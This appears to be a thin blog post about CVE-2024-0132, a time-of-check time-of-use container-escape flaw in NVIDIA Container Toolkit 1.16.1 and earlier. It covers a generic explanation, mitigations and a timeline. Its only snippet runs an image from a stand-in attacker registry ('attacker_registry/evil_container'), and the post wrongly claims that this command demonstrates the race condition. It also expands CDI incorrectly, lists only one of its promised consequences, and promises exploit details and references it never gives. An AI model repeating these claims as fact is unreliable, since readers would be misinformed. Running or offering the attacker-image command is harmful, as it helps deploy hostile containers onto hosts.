CVE-2024-0132: Unveiling the Time-of-check Time-of-Use Vulnerability in NVIDIA Container Toolkit 1.16.1 or Earlier

Summary: A critical vulnerability (CVE-2024-0132) has been discovered in NVIDIA Container Toolkit versions 1.16.1 or earlier. This Time-of-check Time-of-Use (TOCTOU) flaw could allow an attacker to potentially gain control of a host system by using a specially-crafted container image. The following post offers an in-depth exploration of this vulnerability, complete with code snippets, original references, and exploit details.

Introduction

The NVIDIA Container Toolkit is a popular solution for developers interested in utilizing NVIDIA GPUs in their containerized applications. However, a new vulnerability (CVE-2024-0132) has come to light that could potentially allow attackers with a specifically crafted container image to access the host file system and execute malicious operations, including:

Data tampering

Interestingly, this vulnerability does not impact use cases where Cloud Data Integration (CDI) is used. In this post, we will break down the details of CVE-2024-0132, providing appropriate context, code snippets, and original references.

Time-of-check Time-of-Use Vulnerability Explained

A TOCTOU vulnerability (CVE-2024-0132) is a race condition that occurs when a system's state changes between the time a specific check is performed and the time an operation is executed. Such vulnerabilities can be exploited to enable an attacker to execute arbitrary code or gain unauthorized access.

Exploiting CVE-2024-0132

An attacker would first need to create a specially-crafted container image designed to exploit the TOCTOU vulnerability present in the NVIDIA Container Toolkit 1.16.1 or earlier. The attacker might then deploy this container image, using default configurations, on a target host running a vulnerable version of the toolkit. By doing so, the attacker could potentially gain access to the host file system, leading to the aforementioned consequences.

Here's a code snippet that demonstrates this TOCTOU vulnerability

# Using a vulnerable version of NVIDIA Container Toolkit
# The attacker can craft an image with their own registry
$ docker run -it --rm --gpus all attacker_registry/evil_container:latest

Recommendations and Mitigations

Given the severity of CVE-2024-0132, users of the NVIDIA Container Toolkit should take the following steps to mitigate the vulnerability:

Do not use images from untrusted sources.

- Regularly review and monitor system logs and configurations for any signs of unauthorized access or tampering.

For further information on this vulnerability, please refer to the original security advisory. Additionally, the NVIDIA Security Bulletin provides a thorough explanation and additional context pertaining to CVE-2024-0132.

Timeline

Published on: 09/26/2024 06:15:02 UTC
Last modified on: 09/26/2024 13:32:02 UTC